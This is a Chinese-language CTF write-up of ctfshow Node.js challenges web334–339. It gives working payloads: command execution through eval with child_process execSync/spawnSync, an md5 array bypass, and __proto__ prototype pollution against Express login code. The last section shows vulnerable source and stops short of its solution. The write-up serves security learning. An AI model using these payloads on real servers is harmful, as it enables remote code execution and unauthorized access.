web334
有个文件下载之后改后缀为zip加压就可以得到两个文件
一个文件类似于index.php 还有一个就是登录密码登录成功就有flag
username:ctfshow
password:123456
因为
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
这个toUpperCase()可以转大写
web335
查看源代码看到了eval可以进行rce只不过和PHP不同的是函数
?eval=require('child_process').execSync('cat f*')
使用这个child_process类里面的execSync方法
web336
spawnSync()会同步创建一个子进程执行我们传入的命令,并且返回一个对象.
?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()
不知道为啥这道题就一定要stdout.toString(),这个的作用是标准的输出并且转化为字符串
web337
var express = require('express');
var router = express.Router();
var crypto = require('crypto');function md5(s) {return crypto.createHash('md5').update(s).digest('hex');
}/* GET home page. */
router.get('/', function(req, res, next) {res.type('html');var flag='xxxxxxx';var a = req.query.a; //GET请求var b = req.query.b; //GET请求if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag);}else{res.render('index',{ msg: 'tql'}); //渲染模板,回显tql在index}});module.exports = router;
数组绕过
?a[]=1&b[]=1
web338
原型链污染
index.js
var express = require('express');
var router = express.Router();/* GET home page. */
router.get('/', function(req, res, next) {res.type('html');res.render('index', { title: 'Express' });
});module.exports = router;
login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow==='36dboy'){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)}); }});module.exports = router;
"__proto__":{"ctfshow":"36dboy"}
然后发包就行
web339
原型链污染覆盖 query 实现命令执行
api.js:var express = require('express');
var router = express.Router();
var utils = require('../utils/common');/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');res.render('api', { query: Function(query)(query)});});module.exports = router;
index.jsvar express = require('express');
var router = express.Router();/* GET home page. */
router.get('/', function(req, res, next) {res.type('html');res.render('index', { title: 'Express' });
});module.exports = router;
login.jsvar express = require('express');
var router = express.Router();
var utils = require('../utils/common');function User(){this.username='';this.password='';
}
function normalUser(){this.user
}/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow===flag){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)}); }});module.exports = router;